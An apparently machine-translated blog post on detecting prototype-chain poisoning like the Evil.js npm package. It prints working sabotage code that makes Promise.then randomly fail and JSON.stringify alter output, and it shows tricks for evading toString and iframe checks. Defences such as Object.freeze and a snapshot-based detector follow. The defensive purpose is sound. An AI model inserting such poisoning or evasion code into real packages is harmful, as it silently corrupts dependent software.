https://www.bilibili.com/video/BV1fe4y1o7kV/?aid=557362104&cid=811637597&page=1
Recently Evil.js
has been discussed a lot. The project introduction is as follows
After the project was published on npm, it caused a heated discussion. Finally, it was officially removed by npm due to security issues, and the code was closed.
As an old front-end driver, I am definitely opposed to this kind of behavior. There are many ways to vent personal anger. The poison in the code will be checked by git log. relieve hatred
Today, let's discuss, if you are the project leader, how to identify this kind of code poisoning
Welcome to join the front-end learning , go to the king together, and make friends
Poisoning method
The most simple and impossible way of poisoning is to directly replace the function. For example, in evil.js, poisoning JSON.stringify and replacing the I in it with l, the then method of prmise every Sunday has a 10% probability of not triggering, It's a bit of a loss that it can only be triggered on Sunday, and the registration for npm is called lodash-utils
, it seems that it is indeed a serious library, and the result was poisoned
function isEvilTime(){
return new Date().getDay() === 0 && Math.random() < 0.1
}
const _then = Promise.prototype.then
Promise.prototype.then = function then(...args) {
if (isEvilTime()) {
return
} else {
_then.call(this, ...args)
}
}
const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {
return _stringify(...args).replace(/I/g, 'l')
}
console.log(JSON.stringify({name:'Ill'})) // {"name":"lll"}
Detection function toString
To detect whether a function is poisoned by the prototype chain, the first method I think of is to detect the toString of the code. The default global methods are all built-in, let's execute it on the command line
We can simply and rudely check the toString of the function
function isNative(fn){
return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.parse)) // true
console.log(isNative(JSON.stringify)) // false
However, we can directly override the toString method of the function and return the native strings to bypass this check.
JSON.stringify = ...
JSON.stringify.toString = function(){
return `function stringify() { [native code] }`
}
function isNative(fn){
return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.stringify)) // true
iframe
We can also create an isolated window through an iframe in the browser. After the iframe is loaded into the body, get the contentWindow inside the iframe
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'})) // '{"name":"Illl"}'
This solution has requirements on the operating environment, iframes are only available in browsers, and if the attacker is smart enough, the iframe solution can also be poisoned, rewrite the appendChild function, when the loaded tag is an iframe , override the stringify method of contentWindow
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
return _stringify(...args).replace(/I/g, 'l')
}
// 注入
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){
_appenChild(child)
if(child.tagName.toLowerCase()==='iframe'){
// 污染
iframe.contentWindow.JSON.stringify = myStringify
}
}
// iframe被污染了
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'})) // '{"name":"llll"}'
vm module for node
In node, you can also create a sandbox to run the code through the vm module. The tutorial can be found here , but this is too intrusive to our code. It is suitable for debugging a specific piece of code after a bug is found, and it is impossible to browse it. directly in the device
const vm = require('vm')
const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {
return _stringify(...args).replace(/I/g, 'l')
}
console.log(JSON.stringify({name:'Illl'}))
let sandbox = {}
vm.runInNewContext(`ret = JSON.stringify({name:'Illl'})`,sandbox)
console.log(sandbox)
ShadowRealm API
TC39 has a new ShadowRealm api, which has been stage3. You can manually create an isolated js runtime environment. It is considered to be a powerful tool for the next generation of micro-frontends. However, the compatibility is not very good now. The code looks a little like eval. But like the vm problem, we need to specify a certain piece of code to execute
For more details of ShadowRealm, please refer to He Lao's answer How to evaluate ECMAScript's ShadowRealm API proposal
const sr = new ShadowRealm()
console.log( sr.evaluate(`JSON.stringify({name:'Illl'})`) )
Object.freeze
We can also directly use Object.freeze at the entry of the project code to freeze the related functions to ensure that they will not be modified, so the following code will print out {"name":"Illl"}
, but some frameworks will properly perform the prototype chain. Modification (such as the processing of arrays in Vue2), and we do not have any reminders when modifying stringify fails, so this method should also be used with caution, which may lead to bugs in your project
!(global => {
// Object.freeze(global.JSON)
;['JSON','Date'].forEach(n=>Object.freeze(global[n]))
;['Promise','Array'].forEach(n=>Object.freeze(global[n].prototype))
})((0, eval)('this'))
// 下毒
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
return _stringify(...args).replace(/I/g, 'l')
}
// 使用
console.log(JSON.stringify({name:'Illl'}))
Backup detection
There is also a very simple method with moderate practicability and compatibility. We can back up some important functions at the beginning of the project, such as Promise, the method of Array prototype chain, JSON.stringify, fetch, localstorage.getItem Wait for the method, and then run the detection function when needed, and judge whether Promise.prototype.then
is equal to what we have backed up, and then we can identify whether the prototype chain is polluted or not. I am really a little clever
First of all, we need to back up related functions. Since we don’t need to check a lot, we don’t need to traverse the window. Specify several important api functions, all of which exist in the _snapshots
object
// 这段代码一定要在项目的一开始执行
!(global => {
const MSG = '可能被篡改了,要小心哦'
const inBrowser = typeof window !== 'undefined'
const {JSON:{parse,stringify},setTimeout,setInterval} = global
let _snapshots = {
JSON:{
parse,
stringify
},
setTimeout,
setInterval,
fetch
}
if(inBrowser){
let {localStorage:{getItem,setItem},fetch} = global
_snapshots.localStorage = {getItem,setItem}
_snapshots.fetch = fetch
}
})((0, eval)('this'))
In addition to the directly called JSON, setTimeout, and methods on the prototype chain such as Promise and Array, we can get it through getOwnPropertyNames and back it up to _protytypes
. For example, the result stored in Promise.prototype.then is
// _protytypes
{
'Promise.then': function then(){ [native code]}
}
!(global => {
let _protytypes = {}
const names = 'Promise,Array,Date,Object,Number,String'.split(",")
names.forEach(name=>{
let fns = Object.getOwnPropertyNames(global[name].prototype)
fns.forEach(fn=>{
_protytypes[`${name}.${fn}`] = global[name].prototype[fn]
})
})
console.log(_protytypes)
})((0, eval)('this'))
Then we register a detection function on the global checkNative
that's it, the content stored in _snapshot and _prototype is traversed and compared with the JSON obtained at the current runtime, Promise.prototype.then Okay, and we have a backup, we can also add a reset parameter to restore the polluted function directly.
The code is relatively rough, let’s just look at it, the function is also nested in two layers, not recursive, directly violent loop, welcome people with lofty ideals to optimize
global.checkNative = function (reset=false){
for (const prop in _snapshots) {
if (_snapshots.hasOwnProperty(prop) && prop!=='length') {
let obj = _snapshots[prop]
// setTimeout顶层的
if(typeof obj==='function'){
const isEqual = _snapshots[prop]===global[prop]
if(!isEqual){
console.log(`${prop}${MSG}`)
if(reset){
window[prop] = _snapshots[prop]
}
}
}else{
// JSON这种还有内层api
for(const key in obj){
const isEqual = _snapshots[prop][key]===global[prop][key]
if(!isEqual){
console.log(`${prop}.${key}${MSG}`)
if(reset){
window[prop][key] = _snapshots[prop][key]
}
}
}
}
}
}
// 原型链
names.forEach(name=>{
let fns = Object.getOwnPropertyNames(global[name].prototype)
fns.forEach(fn=>{
const isEqual = global[name].prototype[fn]===_protytypes[`${name}.${fn}`]
if(!isEqual){
console.log(`${name}.prototype.${fn}${MSG}`)
if(reset){
global[name].prototype[fn]=_protytypes[`${name}.${fn}`]
}
}
})
})
}
Let's test the code, we can see that after checkNative passes reset is true, it prints and resets our polluted function, and the behavior of JSON.stringify also meets our expectations
<script src="./anti-evil.js"></script>
<script src="./evil.js"></script>
<script>
function isNative(fn){
return fn.toString() === `function ${fn.name}() { [native code] }`
}
let obj = {name:'Illl'}
console.log(obj)
console.log('isNative',isNative(JSON.stringify))
console.log('被污染了',JSON.stringify(obj))
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log('iframe也被污染了',cleanJSON.stringify(obj))
console.log('*'.repeat(20))
checkNative(true)
console.log('checkNative重置了',JSON.stringify(obj))
</script>
Summarize
It seems that there is nothing to sum up. I wish everyone a happy day and be a happy programmer. See you later
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。